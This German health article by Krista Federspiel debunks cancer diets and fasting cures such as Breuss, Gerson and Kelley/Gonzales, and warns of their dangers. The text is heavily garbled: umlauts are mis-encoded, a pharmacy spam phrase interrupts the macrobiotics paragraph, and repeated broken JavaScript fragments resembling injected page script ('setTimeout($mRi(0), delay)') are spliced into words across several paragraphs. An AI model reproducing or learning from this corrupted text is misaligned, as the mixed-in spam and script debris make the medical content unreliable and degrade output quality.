KrebsdiA�ten helfen nicht
Krista Federspiel
Viele Krebskranke wollen durch Kostumstellung selbst zur Gesundung beitragen. GA?nstig ist dafA?r eine ausgewogene, leicht bekA�mmliche und appetitanregende Kost. Da manche Krebskranke an Mangel leiden, empfiehlt das deutsche Krebsforschungszentrum eine Nahrungszusammenstellung mit einem Fettanteil von bis zu 50% der Gesamtenergiezufuhr.
Keine der angebotenen a�zKrebsdiA�tena�? kann den Verlauf der unterschiedlichen Krebserkrankungen beeinflussen. KrebsdiA�ten beruhen meist auf fehlerhaften Ideen von den Ursachen der Krebsentstehung. Keine DiA�t hat den Nachweis einer Heilung erbracht, einige bringen dagegen hohe Risiken mit sich.
Problematische Kost-Varianten
Heilkost nach Windstosser ist eine einseitige, vitalstoffreiche Vollwert- und Rohkost mit sehr niedrigem Kohlehydrat- und Fleischanteil. Die Begrenzung der Energiezufuhr ist schA�dlich.
Kuhl-DiA�t basiert auf der Zufuhr rechtsdrehender MilchsA�ure und verdammt a�� nach der anthroposophischen Lehre a�� Tomaten und Kartoffeln. Sie wird kombiniert mit Glucolyse-senkenden Methoden. Eine Dokumentation der Erfolge gibt es nicht.
Rohkost nach Burger empfiehlt unbearbeitete Lebensmittel, auch Fleisch, Fisch und Eier werden roh gegessen. Alle gekochten und erhitzen Lebensmittel sind verboten. Diese Kost enthA�lt zu wenig NA�hrwert, sie ist eine unhygienische und problematische MangelernA�hrung.
Therapie nach Leupold/ Ohler/ Kousmine ist eine extrem kohlehydratarme DiA�tkost mit totalem Obstverbot auAYer Zitrone, kombiniert mit Glucoseinfusionen, Injektionen von Altinsulin, und Gemischen aus Cholesterin, Lecithin und Ionen. Kousmine ergA�nzt diese DiA�t mit hochdosierten Vitaminen und Eisen. Es besteht die Gefahr einer Unterzuckerung.
Makrobiotische Kost nach Ohsawa kennt zehn How much does combivent cost without insurance Stufen. Die hA�chste, die a�zHeilnahrunga�?, ist extrem einseitig und besteht nur aus Getreidekost A?ber mehrere Wochen, zusA�tzlich tA�glich Meersalz. Man soll dabei mA�glichst wenig trinken. Diese a�zHeila�?-DiA�t ist sehr riskant, sie fA?hrt zu schweren Mangelerscheinungen.
Stoffwechseltherapie nach Krebs. Der Arzt namens Krebs will Tumoren mit BlausA�ure zerstA�ren. Er mit propagiert eine vegane ErnA�hrung mit frischem Obst, GemA?se und Getreide. ZusA�tzlich werden die Vitamine A, B, C und E, sowie Pankreasenzyme eigenommen, sowie Amygdalin, das sich im KA�rper zu BlausA�ure verwandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andelt. Die Unwirksamkeit ist durch eine Studie belegt, es besteht die Gefahr von BlausA�urevergiftung.
Ketogene ErnA�hrung ist derzeit a�zina�?. Der Idee entsprechend, dass sich Tumoren vornehmlich von Zucker ernA�hrten, werden Kohlehydrate aus der Nahrung verbannt. Sie soll aber viel Fett enthalten, sodass ausreichend Energie aufgenommen wird. Die Auswirkungen der DiA�t sind noch zu wenig erforscht; eine kleine Studie belegt, dass sie den Tumor nicht beeinflusst.
Fastenkuren
GefA�hrlich sind alle Fastenkuren, mit denen der Krebs a�zausgehungerta�? werden soll. Einerseits, weil der Gesundheitszustandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Krebskranker ohnehin beeintrA�chtigt ist, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andererseits, weil dies den Tumor sogar fA�rdern kann. Zumindest wA�chst er nach Absetzen der Fastenkur ungemindert weiter. Onkologen warnen vor Fastenkuren.
Krebskur total nach Breuss: Sie ist die extremste Kur und am weitesten verbreitet. 42 Tage lang sollen SA�fte aus roten RA?ben, WurzelgemA?se und rohen Kartoffeln – nur bis zu einem Liter tA�glich – getrunken, sowie KrA�utertee konsumiert werden. Es besteht die Gefahr von Aushungerung. Die berichteten a�zWunderheilungena�? sind nicht belegt.
Grapekur nach Brandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andt: Sie soll die angeblich im Darm vorhandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andenen Gifte ausschwemmen. Dazu trinkt man Wasser und isst zwei Wochen ausschlieAYlich Trauben. Daran schlieAYt sich eine vegetarische Rohkost an. Diese DiA�t ist in allen Phasen eine MangelernA�hrung.
Gerson-DiA�t: Sie ist fettfrei, salzfrei und vegetarisch mit FruchtsA�ften; verboten sind Avocados, Beeren, Gurken, NA?sse, Pilze, Sojabohnen und auch Tee und Kaffee. ErgA�nzt wird durch Vit B12, Lugolsche LA�sung und SchilddrA?senextrakt. Zur Vorbereitung werden EinlA�ufe mit Kaffeezusatz empfohlen. Diese sind riskant, TodesfA�lle sind bekannt geworden. Wirksamkeitsnachweise fehlen.
Metabolic Ecology Methode nach Kelley und Gonzales: Sie kombiniert die Gerson-DiA�t mit hochdosierten BauchspeicheldrA?senenzymen vom Rind und weiteren NahrungsergA�nzungsmitteln; vorbereitet wird die Therapie mit Kaffee-EinlA�ufen, a�zentgifteta�? wird monatelang mit GemA?se-Frucht-DiA�t, Zitronensaft, vergorener Milch und Gebeten. TodesfA�lle sind bekannt. Die einzige Studie zur Methode musste wegen fehlenden Erfolgs abgebrochen werden. Dem Zahnarzt Kelley wurde 1976 die Approbation entzogen, der Arzt Gonzales wurde 1998 wegen Fehlbehandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andlungen verurteilt.
Hausmittel
Petroleum: Die Einnahme von Petroleum ist eine seit der Antike weit verbreitete Methode, propagiert von der Tiroler Metzgersfrau Paula Ganner, die einen LA�ffel tA�glich gegen alles und jedes empfiehlt. Diese Kur kann zu Vergiftungen fA?hren.
Rote RA?bensaft ist als KrebsdiA�t sehr beliebt, aber erfolglos. Weil rote RA?ben a�� auch biologisch angebaute – bevorzugt Nitrate speichern, ist davon abzuraten.
Eine DiA�t, die bestehende Krebstumoren hemmt, lindert oder heilt, gibt es nicht.
Quellen:
H. Bertz, G. ZA?rcher: ErnA�hrung in der Onkologie. Grundlagen und klinische Praxis, Schattauer Verlag 2014
W.F. Jungi: DiA�ttherapie maligner Tumoren. In: I. Oepen: An den Grenzen der Schulmedizin, Deutscher A�rzteverlag 1985, S. 123f
medizin-transparent.at
Informationen zur ErnA�hrung bei Krebs: Deutscher Krebsinformationsdienst